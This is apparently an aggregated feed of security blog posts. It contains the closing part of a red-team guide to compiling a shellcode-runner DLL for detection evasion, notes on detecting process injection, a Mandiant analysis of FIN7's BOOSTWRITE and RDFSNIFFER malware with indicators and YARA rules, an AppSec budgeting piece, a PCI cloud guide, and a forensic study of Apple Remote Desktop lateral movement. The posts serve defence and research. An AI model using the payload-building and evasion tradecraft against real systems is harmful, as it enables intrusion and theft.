Figure 8: Open NuGet Package Manager

After you have reinstalled the Unmanaged exports library and replaced the base64 encoded shellcode on line 58 then you are ready to compile! Go ahead and build the source and look for your DLL in the bin folder. We strongly suggest that you test your DLL to ensure it has the proper exports associate with it. Visual Studio Pro comes with the Dumpbin.exe utility which you can run against your DLL to view the exports as shown in Figure 9.


Figure 9: Dumpbin.exe output

You can expand the list as much as you want with more lolbin techniques found over at the GitHub page.

We prefer to remove the unmanaged exports that are not going to be used with the respective payload that was generated so there is a smaller footprint in the payload. In general, this is good tradecraft when crafting payloads or writing code. In our industry we have the principle of least privilege, well this is the principle of least code!

Modern Detections for Shellcode Injection

Despite all the evasive advantages that shellcode offers, there is hope when it comes to detecting shellcode injection. We looked at several different methods for process injection.

In our shellcode runner, the shellcode injection techniques (CreateRemoteThread and QueueUserAPC) spawn a process in a suspended state and then inject shellcode into the running process. Let’s say we choose the process to inject into as explorer.exe and our payload will run with MSIExec. This will create a process tree where cmd.exe will spawn msiexec.exe which will in turn spawn explorer.exe.


Figure 10: Process tree analysis

In an enterprise environment it is possible to collect telemetry data with a SIEM to determine how often, across all endpoints, the cmd.exe -> msiexec.exe -> explorer.exe process tree occurs. Using parent-child process relationships, defenders can identify potential malware through anomaly detection.

API hooking is commonly used by EDR and AV products to monitor and for detect the use of Windows API calls that are commonly used by malware authors. Utilizing kernel routines such as PsSetCreateProcessNotifyRoutine(Ex) and PsSetCreateThreadNotifyRoutine(Ex), security software can monitor when certain API calls are used, such as CreateRemoteThread. Combining this information with other data such as process reputation and enterprise-wide telemetry can be used to provide high fidelity alerts for potential malware.

When process injection occurs, one process modifies the memory protections of a memory region in another process’s address space. By detecting the use of API calls such as VirtualProtectEx that result in one process modifying the memory protections of address space allowed to another process, especially when the PAGE_EXECUTE_READWRITE permissions are used as this permission is used to allow the shellcode to be written and executed within the same memory space.

As red teamers and malicious actors continue to develop new process injection techniques, network defenders and security software continue to adapt to the ever-changing landscape. Monitoring Windows API function calls such as VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, and NTQueueAPCThread can provide valuable data for identifying potential malware. Monitoring for the use of CreateProcess with the CREATE_SUSPENDED and CREATE_HIDDEN flags may assist in detecting process injection where the attacker creates a suspended and hidden process to inject into.

As we’ve seen, process injection techniques tend to follow a consistent order in which they call Windows API functions. For example, both injection techniques call VirtualAllocEx followed by WriteProcessMemory and identifying when a process calls these two APIs in that order can be used as a basis for detecting process injection.

Conclusion

Using shellcode as the final stage for payloads during assessments allows Red Teams the flexibility to execute payloads in a wide array of environments while implementing techniques to avoid detection. The DueDLLigence shellcode runner is a dynamic tool that takes advantage of the evasive properties of both shellcode and process injection to offer Red Teams a way to avoid detection. Detections for the execution of LOLbins on the command line and process injection at the API and process level should be incorporated into defensive methodology, as attackers are increasingly being forced into living off the land with the increased adoption of application whitelisting.

Making the Case for AppSec? Break Down Your Budget

The bottom line on corporate decision-making comes down to the bottom line. It’s critical to demonstrate value for any new or expanded initiative. Fall short, and your odds of success are greatly diminished.

How do you build the financial case for more robust AppSec, when the focus is on the impact to the bottom line? The key is understanding how to effectively design and present a budget that makes sense to your stakeholders. A crucial element is to recognize that stakeholders need options and choices. By breaking down your budget into categories such as “must do,” “should do,” and “could do,” you’ll greatly increase the odds of securing the budget you need. It’s a lot harder to say no to several different options than to one plan and one number.

Breaking It Down

You most likely have a range of priorities within your AppSec initiative that you’d like funding for – the must do, should do, and could do activities you and your team want to execute. If you break down your “ask” into these three categories, you give your stakeholders options regarding what they can approve. For example, you might offer the following budget options:

Must: We must comply with industry regulations regarding AppSec. Whether it’s PCI, HIPAA, or NY DFS cybersecurity regulations, non-compliance is not an option, and getting budget to address regulations shouldn’t take much convincing.

Should: We should assess code with static analysis, eliminate all “high” or “very high” severity flaws, and train developers on secure coding. Getting at the most-likely-to-be-exploited vulnerabilities and cutting down on the new vulnerabilities being introduced into your code is a good place to start.

Could: We could employ multiple testing techniques beyond static analysis and eliminate the “medium” severity flaws as well. Ultimately, static analysis is a good starting point, but truly effective AppSec requires several testing types that find different vulnerabilities in different ways, including dynamic analysis, software composition analysis, and manual penetration testing.

The right frameworks can help guide you through this budget breakdown. For instance, the Veracode Verified program provides best-practice AppSec roadmap you can use to show a clear path forward. It can also help you break down the must/could/should items. The ability to show progress and defend your budget is essential to getting the backing your need from key executives. You also don’t want to stall at the “must” budget, but show a path toward the most effective and efficient AppSec program.

Additional Budget Selling Points

After breaking down your budget to give stakeholders options, you can create urgency around the spend by finding an event or series of events that demonstrate the seriousness of the issue. This includes data about code vulnerabilities, incidents, and breaches, and what direct and indirect costs grow out of these events. For example, British Airways was recently fined £185 million for its data breach.  

In addition, highlight efficiencies gained by your program. For example, demonstrate how an integrated and automated program will free staff from cumbersome and time-consuming processes, or how teams will be able to better focus on innovation.

Finally, a good foundation for any business case is industry stats or benchmarks. Consider adding these data points into your pitch. You can find some in our State of Software Security report or consider the OpenSAMM model.

On the Money

Ultimately, any presentation should deliver only the most relevant points in a digestible format. Busy executives want to know whether a project will have a positive impact and what that positive impact will be. In order to become an effective change agent, keep your proposal and budget request limited to a half a dozen key points, and be sure to focus on the issues that matter to specific executives.

Remember, a robust AppSec program is a multi-year endeavor, and keeping the funding stream flowing is critical. In order to do this, budget requests must be tied to metrics, KPIs, and other measures. You must demonstrate ongoing success and show results in real-world ways that truly matter to business leaders and your enterprise. With buy-in from key stakeholders, your odds of obtaining essential funding and support are high. And that, in the end, is a formula for a more secure enterprise.

For more details on making the case for AppSec budget, see our new guide, Building a Business Case for Expanding Your AppSec Program.

Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques

During several recent incident response engagements, FireEye Mandiant investigators uncovered new tools in FIN7’s malware arsenal and kept pace as the global criminal operators attempted new evasion techniques. In this blog, we reveal two of FIN7’s new tools that we have called BOOSTWRITE and RDFSNIFFER.

The first of FIN7's new tools is BOOSTWRITE – an in-memory-only dropper that decrypts embedded payloads using an encryption key retrieved from a remote server at runtime. FIN7 has been observed making small changes to this malware family using multiple methods to avoid traditional antivirus detection, including a BOOSTWRITE sample where the dropper was signed by a valid Certificate Authority. One of the analyzed BOOSTWRITE variants contained two payloads: CARBANAK and RDFSNIFFER. While CARBANAK has been thoroughly analyzed and has been used maliciously by several financial attackers including FIN7, RDFSNIFFER is a newly-identified tool recovered by Mandiant investigators.

RDFSNIFFER, a payload of BOOSTWRITE, appears to have been developed to tamper with NCR Corporation's “Aloha Command Center” client. NCR Aloha Command Center is a remote administration toolset designed to manage and troubleshoot systems within payment card processing sectors running the Command Center Agent. The malware loads into the same process as the Command Center process by abusing the DLL load order of the legitimate Aloha utility. Mandiant provided this information to NCR.

BOOSTWRITE Loader: Where You At?

BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications which load the legitimate ‘Dwrite.dll’ provided by the Microsoft DirectX Typography Services. The application loads the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads ‘Dwrite’. Mandiant identified instances where BOOSTWRITE was placed on the file system alongside the RDFClient binary to force the application to import DWriteCreateFactory from it rather than the legitimate DWrite.dll.

Once loaded, `DWrite.dll` connects to a hard-coded IP and port from which it retrieves a decryption key and initialization vector (IV) to decrypt two embedded payload DLLs. To accomplish this task, the malware first generates a random file name to be used as a text log under the current user's %TEMP% directory; this filename starts with ~rdf and is followed by a set of random numbers. Next, the malware scans its own image to find the location of a 32-byte long multi-XOR key which is used to decode data inside its body. Part of the decoded data is an IP address and port which are used to retrieve the key and the IV for the decryption of the embedded payloads. The encryption algorithm uses the ChaCha stream cipher with a 256-bit key and 64-bit IV.

Once the key and the IV are downloaded the malware decrypts the embedded payloads and performs sanity checks on the results. The payloads are expected to be PE32.DLLs which, if the tests pass, are loaded into memory without touching the filesystem.

The malware logs various plaintext messages to the previously created logfile %TEMP%\~rds<rnd_numbers> which are indicative of the loader’s execution progress. An example of the file content is shown in Figure 1:

Loading...
Starting...
Init OK
Key OK
Data: 4606941
HS: 20
K:[32] V:[8]
DCnt: 732642317(ERR)

Figure 1: BOOSTWRITE log file

Before exiting, the malware resolves the location of the benign DWrite.dll library and passes the execution control to its DWriteCreateFactory method.

The malware decrypts and loads two payload DLLs. One of the DLLs is an instance of the CARBANAK backdoor; the other DLL is a tool tracked by FireEye as RDFSNIFFER which allows an attacker to hijack instances of the NCR Aloha Command Center Client application and interact with victim systems via existing legitimate 2FA sessions.

RDFSNIFFER Module: We Smell a RAT

RDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via NCR Corporation’s ‘Aloha Command Center Client’ (RDFClient), an application designed to provide visibility and system management capabilities to remote IT techs. RDFSNIFFER loads into the same process as the legitimate RDFClient by abusing the utility’s DLL load order, launching each time the ‘Aloha Command Center Client’ is executed on an impacted system.

When the RDFSNIFFER module is loaded by BOOSTWRITE it hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface (Table 1). Furthermore, this enables the malware to alter the user’s last input time to ensure application sessions do not time out.

Win32 API Function

Hook Description

CertVerifyCertificateChainPolicy

Used to man-in-the-middle SSL sessions

CertGetCertificateChain

Used to man-in-the-middle SSL sessions

WSAConnect

Used to man-in-the-middle socket connections

connect

Used to man-in-the-middle socket connections

ConnectEx

Used to man-in-the-middle socket connections

DispatchMessageW

Used to hijack the utility's UI

DispatchMessageA

Used to hijack the utility's UI

DefWindowProcW

Used to hijack the utility's UI

DefWindowProcA

Used to hijack the utility's UI

GetLastInputInfo

Used to change the user's last input time (to avoid timed lock outs)

Table 1: RDFSNIFFER’s Hooked Win32 API Functions

This module also contains a backdoor component that enables it to inject commands into an active RDFClient session. This backdoor allows an attacker to upload, download, execute and/or delete arbitrary files (Table 2).

Command Name

Legit Function in RDFClient

RDFClient Command ID

Description

Upload

FileMgrSendFile

107

Uploads a file to the remote system

Download

FileMgrGetFile

108

Retrieves a file from the remote system

Execute

RunCommand

3001

Executes a command on the remote system

DeleteRemote

FileMgrDeleteFile

3019

Deletes file on remote system

DeleteLocal

-

-

Deletes a local file

Table 2: RDFSNIFFER’s Backdoor Functions

Signed: Yours Truly, FIN7

While the majority of BOOSTWRITE variants recovered from investigations have been unsigned, Mandiant identified a signed BOOSTWRITE sample used by FIN7 during a recent investigation. Following that discovery, a signed BOOSTWRITE sample was uploaded to VirusTotal on October 3. This executable uses a code signing certificate issued by MANGO ENTERPRISE LIMITED (Table 3).

MD5

Organization

Country

Serial

a67d6e87283c34459b4660f19747a306

mango ENTERPRISE LIMITED

GB

32 7F 8F 10 74 78 42 4A BE B8 2A 85 DC 36 57 03 CC 82 70 5B

Table 3: Code signing certificate used for BOOSTWRITE

This indicates the operators may be actively altering this malware to avoid traditional detection mechanisms. Notably, the signed BOOSTWRITE sample had a 0/68 detection ratio when it was uploaded to VirusTotal, demonstrating the effectiveness of this tactic (Figure 2).


Figure 2: Current VirusTotal detection ratio for signed BOOSTWRITE

Use of a code signing certificate for BOOSTWRITE is not a completely new technique for FIN7 as the group has used digital certificates in the past to sign their phishing documents, backdoors, and later stage tools. By exploiting the trust inherently provided by code certificates, FIN7 increases their chances of bypassing various security controls and successfully compromising victims. The full evasion achieved against the detection engines deployed to VirusTotal – as compared to an unsigned BOOSTWRITE sample with an invalid checksum– illustrates that FIN7’s methods were effective in subverting both traditional detection and ML binary classification engines. This is a known issue and has been deeply studied since at least 2016’s “Chains of Distrust” research and 2017’s “Certified Malware” paper. Since there are plenty of goodware samples with bad or no signatures – and a growing number of malware samples with good signatures – there is no easy solution here. The upside is that vendors selectively deploy engines to VirusTotal (including FireEye) and VT detection performance often isn’t a comprehensive representation of encountering full security technology stacks that implement detection-in-depth. Later in this blog we further explore BOOSTWRITE’s PE Authenticode signature, its anomalies, and how code signing can be turned from a detection challenge into detection opportunities.

Outlook and Implications

While these incidents have also included FIN7’s typical and long-used toolsets, such as CARBANAK and BABYMETAL, the introduction of new tools and techniques provides further evidence FIN7 is continuing to evolve in response to security enhancements. Further, the use of code signing in at least one case highlights the group's judicious use of resources, potentially limiting their use of these certificates to cases where they have been attempting to bypass particular security controls. Barring any further law enforcement actions, we expect at least a portion of the actors who comprise the FIN7 criminal organization to continue conducting campaigns. As a result, organizations need to remain vigilant and continue to monitor for changes in methods employed by the FIN7 actors.

Sigs Up Dudes! Indicators, Toolmarks, and Detection Opportunities

While FireEye does not release our production detection logic for the code families, this section does contain some identification and hunting concepts that we adopt in our layered detection strategy. Table 4 contains malware samples referenced in this blog that FireEye is able to share from the larger set recovered during active investigations.

Type

Indicator(s)

BOOSTWRITE (signed)

MD5: a67d6e87283c34459b4660f19747a306
SHA-1: a873f3417d54220e978d0ca9ceb63cf13ec71f84
SHA-256: 18cc54e2fbdad5a317b6aeb2e7db3973cc5ffb01bbf810869d79e9cb3bf02bd5

C2: 109.230.199[.]227

BOOSTWRITE (unsigned)

MD5: af2f4142463f42548b8650a3adf5ceb2
SHA1: 09f3c9ae382fbd29fb47ecdfeb3bb149d7e961a1
SHA256: 8773aeb53d9034dc8de339651e61d8d6ae0a895c4c89b670d501db8dc60cd2d0

C2: 109.230.199[.]227

Table 4: Publicly-shareable BOOSTWRITE samples

The signed BOOSTWRITE sample has a PE Authenticode anomaly that can be detected using yara’s PE signature module. Specifically, the PE linker timestamp is prior to the Authenticode validity period, as seen in Table 5.

Timestamp

Description

2019-05-20 09:50:55 UTC

Signed BOOSTWRITE’s PE compilation time

2019-05-22 00:00 UTC
through
2020-05-21 23:59 UTC

Signed BOOSTWRITE’s “mango ENTERPRISE LIMITED” certificate validity window

Table 5: Relevant executabe timestamps

A public example of a Yara rule covering this particular PE Authenticode timestamp anomaly is available in a blog post from David Cannings, with the key logic shown in Figure 3.

pe.number_of_signatures > 0 and not for all i in (0..pe.number_of_signatures - 1):
     pe.signatures[i].valid_on(pe.timestamp)

Figure 3: Excerpt of NCC Group’s research Yara rule

There are other PE Authenticode anomalies that can also be represented as Yara rules to surface similarly suspicious files. Of note, this signed BOOSTWRITE sample has no counter signature and, while the unauthenticated attributes timestamp structure is present, it is empty. In preparing this blog, FireEye’s Advanced Practices team identified a possible issue with VirusTotal’s parsing of signed executable timestamps as seen in Figure 4.



Figure 4: Inconsistency in VirusTotal file signature timestamps for the signed BOOSTWRITE sample

FireEye filed a bug report with Google to address the discrepancy in VirusTotal in order to remove confusion for other users.

To account for the detection weaknesses introduced by techniques like code signing, our Advanced Practices team combines the malicious confidence spectrum that comes from ML detection systems with file oddities and anomalies (weak signals) to surface highly interesting and evasive malware. This technique was recently described in our own Dr. Steven Miller’s Definitive Dossier of Devilish Debug Details. In fact, the exact same program database (PDB) path-based approach from his blog can be applied to the toolmarks seen in this sample for a quick hunting rule. Figure 5 provides the PDB path of the BOOSTWRITE samples from this blog.

F:\projects\DWriteImpl\Release\DWriteImpl.pdb

Figure 5: BOOSTWRITE PDB path

The Yara rule template can be applied to result in the quick rule in Figure 6.

rule ConventionEngine_BOOSTWRITE
{
 meta:
     author = "Nick Carr (@itsreallynick)"
     reference = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"
strings:
     $weetPDB = /RSDS[\x00-\xFF]{20}[a-zA-Z]?:?\\[\\\s|*\s]?.{0,250}\\DWriteImpl[\\\s|*\s]?.{0,250}\.pdb\x00/ nocase
 condition:
     (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $weetPDB and filesize < 6MB
}

Figure 6: Applying BOOSTWRITE’s PDB path to a Yara rule

We can apply this same concept across other executable traits, such as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and easy rules that can aid in quick discovery as seen in Figure 7.

rule Exports_BOOSTWRITE
{
meta:
     author = "Steve Miller (@stvemillertime) & Nick Carr (@itsreallynick)"
strings:
     $exyPants = "DWriteImpl.dll" nocase
condition:
     uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $exyPants at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12)) and filesize < 6MB
}

Figure 7: Applying BOOSTWRITE’s export DLL names to a Yara rule (Note: this rule was updated following publication. It previously read "module_ls.dll", which is for Turla and unrelated.)

Of course, resilient prevention capabilities are needed and to that end, FireEye detects this activity across our platforms. Table 6 contains several specific detection names from a larger list of detection capabilities that captured this activity natively.

Platform

Signature Name

Endpoint Security

MalwareGuard ML detection (unsigned variants)

Network Security and Email Security

Malware.binary.dll (dynamic detection)
MalwareGuard ML detection (unsigned variants)
APTFIN.Dropper.Win.BOOSTWRITE (network traffic)
APTFIN.Backdoor.Win.RDFSNIFFER (network traffic)
FE_APTFIN_Dropper_Win_BOOSTWRITE (static code family detection)
FE_APTFIN_Backdoor_Win_RDFSNIFFER (static code family detection)

Table 6: FireEye detection matrix

Don’t Sweat the Techniques – MITRE ATT&CK Mappings

BOOSTWRITE

ID

Tactic

BOOSTWRITE Context

T1022

Data Encrypted

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection

T1027

Obfuscated Files or Information

BOOSTWRITE encodes its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit IV to evade detection

T1038

DLL Search Order Hijacking

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll

T1116

Code Signing

BOOSTWRITE variants were observed signed by a valid CA

T1129

Execution through Module Load

BOOSTWRITE exploits the applications’ loading of the ‘gdi’ library, which loads the ‘gdiplus’ library, which ultimately loads the local ‘Dwrite’ dll

T1140

Deobfuscate/Decode Files or Information

BOOSTWRITE decodes its payloads at runtime using using a ChaCha stream cipher with a 256-bit key and 64-bit IV

RDFSNIFFER

ID

Tactic

RDFSNIFFER Context

T1106

Execution through API

RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface

T1107

File Deletion

RDFSNIFFER has the capability of deleting local files

T1179

Hooking

RDFSNIFFER hooks several Win32 API functions intended to enable it to tamper with NCR Aloha Command Center Client sessions or hijack elements of its user-interface

Acknowledgements

The authors want to thank Steve Elovitz, Jeremy Koppen, and the many Mandiant incident responders that go toe-to-toe with FIN7 regularly, quietly evicting them from victim environments. We appreciate the thorough detection engineering from Ayako Matsuda and the reverse engineering from FLARE’s Dimiter Andonov, Christopher Gardner and Tyler Dean. A special thanks to FLARE’s Troy Ross for the development of his PE Signature analysis service and for answering our follow-up questions. Shout out to Steve Miller for his hot fire research and Yara anomaly work. And lastly, the rest of the Advanced Practices team for both the unparalleled front-line FIN7 technical intelligence expertise and MITRE ATT&CK automated mapping project – with a particular thanks to Regina Elwell and Barry Vengerik.

A Guide to PCI Compliance in the Cloud

In an age where hosting infrastructure in a cloud environment becomes more and more attractive – whether for maintenance, price, availability, or scalability – several service providers offer different PCI-DSS (Payment Card Industry – Data Security Standard) compliant solutions for their customers’ need to deal with payment cards.

Many companies believe that when choosing a business partner already certified in PCI-DSS, no further action is required since this environment has already been evaluated. However, while a PCI-DSS compliant provider brings more security and reliability, only its certification is not enough for the contractor’s environment to be certified as well.

All certified service providers must offer their customers an array of services and responsibilities, where they clearly define what each party needs to do to achieve PCI compliance in the environment. 

With this in mind, there are some important tips to take into account, mainly focusing on the first six PCI-DSS requirements, and also some important information for cloud service providers to take into account.

Requirement 1: Install and maintain a firewall configuration to protect the cardholder data

To protect cardholder data, you must implement and configure environmental targeting in accordance with PCI network requirements. It should be analyzed with tools the service provider offers to enable the contractor to achieve compliance. Some important services to consider:

  • Network Groups: A tool that will be used to perform the logical segmentation of the cloud-hosted environment. Traditionally, communications are blocked, and rules must be created to release access between instances.
  • Private Cloud: Should be used to isolate the provider’s networks in private networks, preventing the connection and access of other networks except those duly authorized by the targeting tool created in the same private cloud. This configuration facilitates the segmentation and logical management of accesses, reducing the exposure of the environment and card data.
  • Elastic Computing: It allows the creation of an instance that is scalable, that is, after it is identified that the processing reaches a parameter pre-defined by the user, creates another instance identical to the first. This process repeats itself as there is a need for more processing power. With the reduction of processing, the instances are then deactivated.

Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters

In the case of SaaS (Software as a Service) cloud services, the need to apply secure configuration controls rests with the provider, assuming that the service provider identifies the service as part of its environment accordingly.

Using PaaS (Platform as a Service) or IaaS (Infrastructure as a Service), when the configuration of the instance is made by the contracted company, it is very important to create the procedure of hardening to be used and to ensure that it is properly applied in the instance before creating the rules that grant access to the other environments.

Requirement 3: Protect stored data from cardholder

Secure storage of card data is one of the priorities of the standard. Natively, cloud environments do not protect data, so the company acquiring the service must identify how it can make the data secure during the process, as well as assess whether the provider provides the necessary tools.

For card data encryption, key management is another crucial point, as important encryption of the data itself. The documentation and secure management of the data encryption keys (DEK) and key-encryption key (KEK) must be done by the contractor and can use the resources offered by the providers.

Requirement 4: Encrypt the cardholder data transmission on open public networks

The implementation of secure communication channels must be planned by the contractor, either through the acquisition of a secure communication service or even through the implementation of communication certificates. Always use robust PCI-DSS-based encryption protocols, such as TLS 1.2, IPSec, SFTP, etc.

Requirement 5: Use and regularly update anti-virus software or programs

Another common mistake is to consider that the implementation of antivirus is the responsibility of the service provider, or even believe that their systems are not susceptible to malicious software.

Cloud services do not include the provision of this type of software by default in all scenarios. This means that those seeking PCI-DSS certification need to identify how to implement and define the use of an antivirus solution, ensuring its installation, management, logging, and monitoring.

Requirement 6: Develop and maintain secure systems and applications

By confirming the certified service offered by the cloud provider (Saas) in the responsibility matrix, the contracting company does not need to take any additional actions related to the management of the structure that maintains that environment.

In the case of a certified service offered by the cloud provider, the contracting company confirming this in the contractor’s responsibilities matrix does not need to take any additional actions related to the management of the structure that maintains that environment.

However, when acquiring IaaS or PaaS services, it is important to enable vulnerability identification procedures, security updates, change management, and secure development.

Speaking specifically of public-facing web applications, PCI-DSS requires the manual or automated validation of all code developed for the application. A recommended alternative is the implementation of a Web Application Firewall, which can also be used as a service acquired from the marketplace of these companies or as an application to be contracted (e.g. AWS WAF, Azure WAF, Google Virtual Web Application Firewall).


Marty Puranik co-founded Atlantic.Net from his dorm room at the University of Florida in 1994. As CEO and President of Atlantic.Net, one of the first Internet Service Providers in America, Marty grew the company from a small ISP to a large regional player in the region, while observing America’s regulatory environment limit competition and increase prices on consumers. To keep pace with a changing industry, over the years he has led Atlantic.Net through the acquisition of 16 Internet companies, tripling the company’s revenues and establishing customer relationships in more than 100 countries. Providing cutting-edge cloud hosting before the mainstream did, Atlantic.Net has expanded to seven data centers in three countries, with a fourth pending.

The post A Guide to PCI Compliance in the Cloud appeared first on Cloudbric.

Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil

Attackers often make their lives easier by relying on pre-existing operating system and third party applications in an enterprise environment. Leveraging these applications assists them with blending in with normal network activity and removes the need to develop or bring their own malware. This tactic is often referred to as Living Off The Land. But what about when that land is an Apple orchard?

In recent enterprise macOS investigations, FireEye Mandiant identified the Apple Remote Desktop application as a lateral movement vector and as a source for valuable forensic artifacts.

Apple Remote Desktop (ARD) was first released in 2002 and is Apple’s “desktop management system for software distribution, asset management, and remote assistance”. An ARD deployment consists of administrator and client machines. While the administrator app must be downloaded from the macOS App Store, the client application is included natively as part of macOS. Client systems must be added to the client list on an administrator system manually, or they can be discovered via Bonjour if they are in the same local subnet as the administrator system. In a typical enterprise environment deployment, managers would be the ARD administrators and have the ability to view, manage, and remotely control their managed personnel’s workstations via ARD.

Lateral Movement

Mandiant has observed attackers using the ARD screen sharing function to move laterally between systems. If remote desktop was not enabled on a target system, Mandiant observed attackers connecting to systems via SSH and executing a kickstart command to enable remote desktop management. This allowed remote desktop access to the target systems. The following is an example from the macOS Unified Log showing a kickstart command used by an attacker to enable remote desktop access for all users with all privileges:


Figure 1: Kickstart command example

During an investigation, you can use a few different artifacts to trace this activity. Execution of the kickstart command modifies the contents of the configuration file /Library/Application Support/Apple/Remote Desktop/RemoteManagement.launchd to contain the string “enabled”. SSH login activity can be found in the Apple System Logs or Audit Logs. Execution of the kickstart command can be found in the Unified Logs, as seen in Figure 1.

An ARD administrator has a substantial amount of power available to them, similar to compromising an administrator account in a Windows environment. By compromising an account that has access to ARD administrator system, an attacker can perform any of the following actions:

  • Remotely control VNC-enabled machines, including in “Curtain Mode” which hides the remote actions from the local workstation’s screen
  • Transfer files
  • Remotely shut down or restart multiple machines simultaneously
  • Schedule tasks
  • Execute AppleScript and UNIX shell scripts

Apple’s ARD web page and the ARD help page contain more details about ARD’s capabilities.

ARD Reporting as a Forensic Force Multiplier

Along with remote system control functionality, Apple Remote Desktop’s asset management capabilities include conducting remote Spotlight searches, file searching, generating software version information reports, and more importantly, generating application usage and user history reports. The reporting process generally follows these steps:

  1. Client systems compute reports and cache the data locally before transferring them to the administrator system (the default policy is to begin this at 12:00 AM local time, daily).
  2. Data received from clients is cached on the administrator system. Alternatively, a macOS system with the administrator version of ARD installed can be set up as a “Task Server” for a centralized collection option.
  3. Cached data is written to SQLite database on the administrator system

The cached data is stored in various subdirectories under the /private/var/db/RemoteManagement/ parent directory. The directory has the following structure:


Figure 2: /private/var/db/RemoteManagement/ directory structure

This directory structure is present on all systems, but which files exist in which directories depends on whether the system is an ARD client or administrator system.

Artifacts from ARD Client Systems

There is one directory that is the focus for investigations on client systems: /private/var/db/RemoteManagement/caches/. This directory contains the following files, which are the local client data cache that is periodically reported to the administrator system. Do note, however, that these files are routinely deleted by the system, so they may not be present. These files are typically deleted from the client system once they are transmitted to the administrator system. Once transmitted, the data is stored on the administrator system.

File

Description

AppUsage.plist

plist file containing application usage data

AppUsage.tmp

Binary plist file containing application usage data, often the same as or less thorough than AppUsage.plist

asp.cache

Binary plist of system information

filesystem.cache

Database containing an index of the entire file system, including users and groups

sysinfo.cache

Binary plist containing system information, some of which is also present in asp.cache

UserAcct.tmp

Binary plist containing user login activity

Table 1: ARD cache files

In our experience, the most useful information available from these files is application usage and user activity.

Application Usage

The RemoteManagement/caches/AppUsage.plist file contains one key per application, where each key is the full path of the application, such as file:///Applications/Calculator.app/.

Each application key contains a dictionary that includes a “runData” array and a “Name” string, which is the friendly name of the application, such as “Calculator”, as seen in Figure 3.


Figure 3: AppUsage.plist structure

Each “runData” array contains at least one dictionary consisting of the following keys and values:

Key

Value Format

Description

wasQuit

Boolean: true or false

Indicator of whether or not the application was quit prior to the last report time. This field may not exist if the value is not “true”.

Frontmost

Number of seconds

Total duration which the application was “frontmost” on the screen

Launched

macOS absolute timestamp

Time the application was launched

runLength

Number of seconds

Duration the application was run

username

String

User who launched the application

Table 2: AppUsage.plist runData keys and values

Of the two application usage cache artifacts, RemoteManagement/caches/AppUsage.plist usually contains the same or more content than RemoteManagement/caches/AppUsage.tmp.

User Activity

The RemoteManagement/caches/UserAcct.tmp file is a binary plist that contains user activity that can be correlated with other artifacts on a macOS systems, such as the Apple System Logs or Audit Logs. The file contains keys with the short name of each user logged on the system.

Each key contains a dictionary that includes a “uid” string with the user’s UID, and an array for each login type: console, tty, or SSH. Each login-type array contains at least one dictionary consisting of the following keys and values:

Key

Value Format

Description

inTime

macOS absolute timestamp

Time the user logged in

outTime

macOS absolute timestamp

Time the user logged out

host

String

Originating host for remote login. This field has been observed to not be consistently present.

Table 3: UserAcct.tmp keys and values

Artifacts From ARD Administrator Systems

The data outlined in Table 1 is reported to the administrator system daily. The files are then stored in the RemoteManagement/ClientCaches/ directory. Each file is renamed to the MAC address of the reporting system and placed into the appropriate subdirectory, as seen in Table 4. The subdirectories contain the following:

Subdirectory

Data Contained in Each File

ApplicationUsage/

AppUsage.plist files

SoftwareInfo/

Filesystem.cache files

SystemInfo/

Sysinfo.cache files

UserAccounting/

UserAcct.tmp files

Table 4: /private/var/db/RemoteManagement/ClientCaches/ subdirectories

Additionally, there is a plist file, RemoteManagement/ClientCaches/cacheAccess.plist that contains keys of MAC addresses with values of more MAC addresses. The purpose and context for this file has yet to be determined.

The Gold Mine

All the aforementioned data, with the exception of the filesystem.cache files, is added to the main SQLite database RemoteManagement/RMDB/rmdb.sqlite3 (“RMDB”). The RMDB exists on all ARD systems but is only populated on the administrator system. It houses a wealth of information about the systems in the ARD network over a significant timespan. Mandiant has observed data for application usage timestamps from over a year prior to when we acquired a database on a live system.

The RMDB file contains five tables: ApplicationName, ApplicationUsage, PropertyNameMap, SystemInformation, and UserUsage. The following sections detail each table within the database:

ApplicationName

This table is an index for the applications on each system, where each application is assigned an item sequence number (“ItemSeq”) per system. This data is used for correlation in the ApplicationUsage table.

Column

Value Format

Description

ComputerID

String

Client MAC address, no separators

AppName

String

Friendly application name

AppURL

String

Application URL path (i.e. file:///Applications/Calculator.app)

ItemSeq

Integer

ID number for each application, per ComputerID, used for the AppName table

LastUpdated

macOS absolute timestamp

Last report time of the client

Table 5: ApplicationName table columns

ApplicationUsage

The AppName table is unique in the fact the “Frontmost” and “LaunchTime” values in the table are swapped. The research at the time of this blog post was verified on MacOS 10.14 (Mojave).

Column

Value Format

Description

ComputerID

String

Client MAC address, no separators

FrontMost

macOS absolute timestamp

Application launch time

LaunchTime

Number of seconds to 6 decimal places

Total duration the application was “frontmost” on screen

RunLength

Number of seconds to 6 decimal places

Total duration the application was running

ItemSeq

Integer

ItemSeq number for the respective ComputerID, referenced in the ApplicationName table

LastUpdated

macOS absolute timestamp

Last report time of the client

UserName

String

User who launched the application

RunState

Integer

“1” for “running”, or “0” for “terminated” at the time of the last report

Table 6: ApplicationUsage table columns

PropertyNameMap

This table is used as a reference for the SystemInformation table.

Column

Value Format

Description

ObjectName

String

Various elements of a macOS system, such as Mac_HardDriveElement, Mac_USBDeviceElement, Mac_SystemInfoElement

PropertyName

String

